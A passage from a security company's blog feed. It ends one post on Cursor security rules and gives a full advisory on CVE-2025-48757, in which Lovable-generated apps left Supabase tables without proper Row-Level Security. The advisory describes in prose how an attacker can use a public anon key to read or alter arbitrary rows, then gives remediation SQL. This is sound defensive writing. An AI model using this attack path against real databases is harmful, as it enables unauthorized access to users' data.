CLI:</p><pre><code>Run a scan on S3 with AWS controls

# change it to reference your aws stack: 

aws s3api get-bucket-policy-status --bucket data-bucket</code></pre><p>For links resourced (For compliance for example), just embed the framework source in the prompt:</p><pre><code><code>Scan against the SOC2 framework defined at 
https://api.compliance-saas.io/frameworks/soc2</code>or<code>Scan 

using my local framework at ./frameworks/custom-soc2.json</code>.</code></pre><div><hr></div><h2>One Repository, Two Layers of Control</h2><p>To keep everything organized and transparent, both layers live in the same repository :</p><pre><code><code>&#128230; repo/
 &#9492;&#9472;&#9472; .cursor/
     &#9500;&#9472;&#9472; rules/                # Guardrails &amp; boundaries
     &#9492;&#9472;&#9472; commands/             # Secure workflows &amp; policy logic</code></code></pre><ul><li><p><code>.cursor/rules</code> Define baseline policies allowing to create Guardrails &amp; boundaries</p></li><li><p><code>.cursor/commands</code> Execute secure workflows for Automation &amp; accountability</p></li></ul><p>To use this project, add it to the root directory of every project so its configurations take effect or add it to the local ~/.cursor/commands to apply to all. Review and update it periodically to ensure it stays aligned with the latest standards.</p><div><hr></div><h2>Secure Commands GitHub</h2><p>Based on our research, We&#8217;ve built the first public GitHub with secure DevOps commands - covering threat modeling, vulnerability fixing, configuration hardening and much more.</p><blockquote><p><a href="https://github.com/plutosecurity/cursor-secure-commands">https://github.com/plutosecurity/cursor-secure-commands</a></p></blockquote><p>To keep using generic developer commands, we recommend splitting the commands into dev, security folders.</p><p>We&#8217;re continuously expanding it with real-world examples, If you have more <strong>security or compliance use cases</strong> - let us know!</p><h3><strong>Final notes</strong></h3><ul><li><p>Cursor rules are a solid foundation - but they&#8217;re just the start.</p></li><li><p>Real security and compliance in AI development don&#8217;t come from static guardrails; they come from codified, enforceable behavior.</p></li><li><p>If you&#8217;re bringing AI-powered tools into your SDLC, treat them as part of your security perimeter - because they are.</p><p></p></li></ul><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><p></p><h3><strong>Additional context &amp; references</strong></h3><ul><li><p><a href="https://cursor.com/docs/agent/overview">Cursor Documentation on Commands</a></p></li><li><p><a href="https://github.com/matank001/cursor-security-rules/tree/main">Cursor Security Rules</a></p></li><li><p><a href="https://docs.claude.com/en/docs/claude-code/skills">Claude Documentation on Skills</a></p></li><li><p><a href="https://egghead.io/speed-up-your-agents-with-cursor-slash-commands~ze5ag">Egghead.io: Speed Up Your Agents with Cursor Slash Commands</a> </p></li><li><p><a href="https://github.com/ComposioHQ/awesome-claude-skills">Awesome Claude Skills Repo</a></p></li><li><p><a href="https://github.com/hamzafer/cursor-commands">Hamzafer&#8217;s Cursor Commands Repo</a></p></li></ul>]]></content:encoded></item><item><title><![CDATA[CVE-2025–48757 - what happened, why it still matters, and how to check your fleet]]></title><description><![CDATA[A technical deep-dive for security teams and engineers]]></description><link>https://blog.pluto.security/p/cve-202548757-what-happened-why-it-b22</link><guid isPermaLink="false">https://blog.pluto.security/p/cve-202548757-what-happened-why-it-b22</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Mon, 27 Oct 2025 12:01:23 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!VneS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VneS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VneS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 424w, https://substackcdn.com/image/fetch/$s_!VneS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 848w, https://substackcdn.com/image/fetch/$s_!VneS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!VneS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VneS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png" width="1456" height="813" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:813,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:9315433,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/177260753?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VneS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 424w, https://substackcdn.com/image/fetch/$s_!VneS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 848w, https://substackcdn.com/image/fetch/$s_!VneS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!VneS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7587519-266b-4908-87f0-7c38e5366d24_2752x1536.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h3><strong>TL;DR</strong></h3><p>CVE-2025&#8211;48757 is an insufficient/incorrect authorization issue stemming from missing or weak Row-Level Security (RLS) policies in databases provisioned by the Lovable AI builder. In many cases, Lovable-generated projects left databases exposed so that unauthenticated remote requests could read from or write to arbitrary tables. The root cause is a platform-level failure: defaulting to insecure configurations and failing to validate RLS semantics, not a flaw or zero-day in Postgres itself. While the vulnerability is not new, variants of it continue to be observed today - <strong>insecure RLS configurations remain a recurring problem in AI-driven builder platforms</strong>. These exposures have <strong>high impact on enterprises</strong>, where a single misconfigured project can lead to broad unauthorized access, data leakage, and compliance violations across critical environments.</p><h3><strong>1) Quick background: Lovable</strong></h3><p>Lovable is an AI-driven &#8220;vibe-coding&#8221; builder that generates full-stack projects (frontend + backend + DB) from natural language prompts. It provisions hosting and databases for generated sites and aims to minimize developer friction. That convenience is why many apps are created with it.</p><h3><strong>2) Quick background: Supabase</strong></h3><p>Supabase is a hosted Postgres + realtime + auth stack that many low-code/no-code builders adopt as the database backend. Supabase exposes a REST/GraphQL API and includes Postgres Row-Level Security (RLS) as a primary mechanism for enforcing per-user data access at the DB layer. Supabase docs explicitly recommend enabling and writing RLS policies so client-side code (browsers, public API keys) cannot read or write data they shouldn&#8217;t.</p><h3><strong>3) How Lovable and Supabase typically interact</strong></h3><p>A typical flow:</p><ul><li><p>Lovable provisions a Postgres database (Supabase) for the generated app.</p></li><li><p>The generated frontend uses a client key (sometimes a public anon key) to call Supabase APIs directly from the browser/mobile client.</p></li><li><p>Authorization/identity is intended to be enforced by combining Supabase Auth (or JWTs) and RLS policies inside Postgres.</p></li></ul><p>If RLS is missing, insufficient, or incorrectly configured, a public API key + crafted queries/requests can often enumerate or mutate rows across tables. CVE-2025&#8211;48757 is an instance where platform defaults or checks allowed unsafe combinations to reach production.</p><h3><strong>4) Row-Level Security (RLS)&#8202;-&#8202;what it is and how to configure it</strong></h3><p><strong>What RLS does - </strong>RLS is a Postgres primitive that evaluates a boolean expression for each row and each operation (SELECT/INSERT/UPDATE/DELETE). If the expression evaluates to true, the operation is allowed on that row; otherwise it&#8217;s blocked. Combined with per-user identity (JWT claims), it enforces per-row access rules at the database level. Supabase exposes and encourages RLS for authorization. When configured currently&#8202;-&#8202;this allows very strong authorization for an app.</p><p><strong>A basic example in Supabase&#8202;-&#8202;</strong> <em>profiles</em> table where each row has user_id:</p><pre><code><code>-- enable RLS for the table
ALTER TABLE public.profiles ENABLE ROW LEVEL SECURITY;</code></code></pre><pre><code><code>-- policy: allow a logged-in user to SELECT their own profile
CREATE POLICY &#8220;profiles_select_own&#8221;
  ON public.profiles
  FOR SELECT
  USING (user_id = auth.uid());</code></code></pre><pre><code><code>-- policy: allow a logged-in user to UPDATE their own profile
CREATE POLICY &#8220;profiles_update_own&#8221;
  ON public.profiles
  FOR UPDATE
  USING (user_id = auth.uid())
  WITH CHECK (user_id = auth.uid());</code></code></pre><p>Notes:</p><ul><li><p>auth.uid() is the Supabase helper that maps the current JWT&#8217;s sub to a Postgres value at runtime.</p></li><li><p>USING controls which rows are visible for reads; WITH CHECK validates row contents on write.</p></li><li><p>For functions, triggers, or server-side jobs you may need SET LOCAL role tricks or secure function patterns to bypass RLS when legitimately required. See Supabase docs for advanced patterns.</p></li></ul><p><strong>Common RLS pitfalls to avoid</strong></p><ul><li><p><strong>Relying only on client code</strong> -never trust that the front end will enforce authorization.</p></li><li><p><strong>Using permissive policies</strong> like USING (true) for convenience.</p></li><li><p><strong>Leaving public/anonymous API keys</strong> able to read sensitive tables because no RLS policy exists.</p></li><li><p><strong>Thinking &#8220;RLS exists so we&#8217;re safe&#8221;</strong>&#8202;-&#8202;but policies need to be <em>correct</em>; a policy that compares to a wrong claim or a global flag can be bypassed.</p></li></ul><h3><strong>5) What CVE-2025-48757 really is</strong></h3><p>Lovable-generated projects sometimes ended up with insufficient or incorrectly scoped RLS policies on their Supabase Postgres instances. That meant requests crafted against Lovable-provisioned endpoints could read or write tables without per-row authorization checks. The vulnerability is an <em>incorrect authorization / insufficient RLS</em> condition&#8202;-&#8202;not a Postgres engine bug.</p><p><strong>Attack path</strong></p><ol><li><p>Lovable provisions a Supabase DB and exposes an application endpoint that uses a public anon key (or insufficiently scoped key).</p></li><li><p>The generated frontend assumes RLS or relies on a &#8220;has RLS been enabled&#8221; flag, but the actual policies are missing, too permissive, or incorrectly express identity checks.</p></li><li><p>An unauthenticated remote attacker crafts API calls (or manipulates the REST paths the generated site uses) to enumerate or mutate rows in arbitrary tables because the DB enforced no per-row restrictions.</p></li><li><p>Sensitive columns (PII, tokens, secrets, internal flags) are exfiltrated or altered. In some reported incidents, attackers used sites created on Lovable to host phishing or malware content&#8202;-&#8202;the lack of DB enforcement makes it trivial to escalate and pivot.</p></li></ol><p><strong>This was indeed observed at scale in the wild, exposing hundred of apps data. Lovable and some vendors argue that customers still hold responsibility for configuring RLS correctly for their apps.</strong></p><h3><strong>6) Why CVE-2025&#8211;48757 Still Matters Today</strong></h3><p>Although Lovable and other builder platforms have improved their default configurations since the original disclosure, CVE-2025&#8211;48757 remains highly relevant today. Pluto&#8217;s real-world scans consistently show that the <strong>most common vulnerability across AI-generated builder projects is incorrect or incomplete Row-Level Security (RLS) configuration</strong>. Even when RLS is enabled by default, developers frequently misapply or override policies, unintentionally leaving tables exposed. As a result, <strong>many live sites still operate with overly permissive database permissions</strong>, allowing unauthorized reads or writes across user data. With the rapid expansion of AI-built apps and prototypes, these misconfigurations scale quickly - <strong>creating widespread exposure across hundreds of interconnected websites and services</strong>.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ccj9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ccj9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 424w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 848w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 1272w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ccj9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png" width="1456" height="288" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:288,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135979,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://plutosecurity.substack.com/i/176541828?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ccj9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 424w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 848w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 1272w, https://substackcdn.com/image/fetch/$s_!Ccj9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F435bc109-25b4-4a45-8915-746b6b52e42d_2208x436.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Miss-configured RLS Allowing leakage of data by modification of the SQL query</figcaption></figure></div><h3><strong>7) Detection &amp; remediation steps</strong></h3><ol><li><p><strong>Inventory&#8202;-</strong>Find your vibe-coded apps, look for DNS requests for supabase to see what users configured one. The code will hold the supabase.co domain, Any app using Supabase should be reviewed.</p></li><li><p><strong>Scan and fix&#8202;-&#8202;</strong>Run Lovable Security Advisor, It integrates with <strong>Supabase RLS Advisor</strong> to detect missing RLS policies. <strong>Don&#8217;t trust it blindly</strong>&#8202;-&#8202;review each suggested policy; it often makes mistakes or uses over-permissive rules.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ij6H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ij6H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 424w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 848w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 1272w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ij6H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png" width="525" height="233.22490706319704" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:478,&quot;width&quot;:1076,&quot;resizeWidth&quot;:525,&quot;bytes&quot;:82110,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://plutosecurity.substack.com/i/176541828?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ij6H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 424w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 848w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 1272w, https://substackcdn.com/image/fetch/$s_!ij6H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14bfa51f-ef1c-4e85-aab3-31f42c1df708_1076x478.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Lovable RLS Security Review</figcaption></figure></div><ol><li><p><strong>Manually verify RLS in Supabase&#8202;-&#8202;</strong>In Supabase SQL editor, check for tables without RLS:</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JUB_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JUB_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 424w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 848w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 1272w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JUB_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png" width="1456" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:438,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:77354,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://plutosecurity.substack.com/i/176541828?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!JUB_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 424w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 848w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 1272w, https://substackcdn.com/image/fetch/$s_!JUB_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc315e455-3f2e-4e32-907a-00c463c85dff_1870x562.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Supabase RLS Advisor</figcaption></figure></div><pre><code><code>SELECT schemaname, tablename
FROM pg_tables
WHERE schemaname = &#8216;public&#8217;
AND tablename NOT IN (
  SELECT tablename FROM pg_policies WHERE schemaname=&#8217;public&#8217;
);</code></code></pre><ul><li><p>Enable RLS and apply strict policies if missing:</p></li></ul><pre><code><code>ALTER TABLE public.profiles ENABLE ROW LEVEL SECURITY;
CREATE POLICY &#8220;profiles_select_own&#8221;
  ON public.profiles FOR SELECT
  USING (user_id = auth.uid());</code></code></pre><ul><li><p>Confirm anon and public roles have no direct table access:</p></li></ul><pre><code><code>REVOKE ALL ON ALL TABLES IN SCHEMA public FROM anon, public;</code></code></pre><h3><strong>Final notes</strong></h3><ul><li><p><strong>RLS is powerful but brittle if used incorrectly</strong>&#8202;-&#8202;it must be tested, audited, and enforced as part of platform provisioning.</p></li><li><p><strong>If you operate or rely on any &#8220;AI builder&#8221; security, assume they can be unsafe. You own the responsibility for what you are building.</strong></p></li></ul><p><strong>At Pluto&#8202;-&#8202;we are enabling usage of AI Builders securely in enterprises. Want to learn more? Lets talk!</strong></p><h3><strong>Additional context &amp; references</strong></h3><ul><li><p><a href="https://mattpalmer.io/posts/statement-on-CVE-2025-48757/">Matt Palmer&#8217;s public</a> statement and analysis</p></li><li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-48757">CVE entry</a> for CVE-2025&#8211;48757</p></li><li><p><a 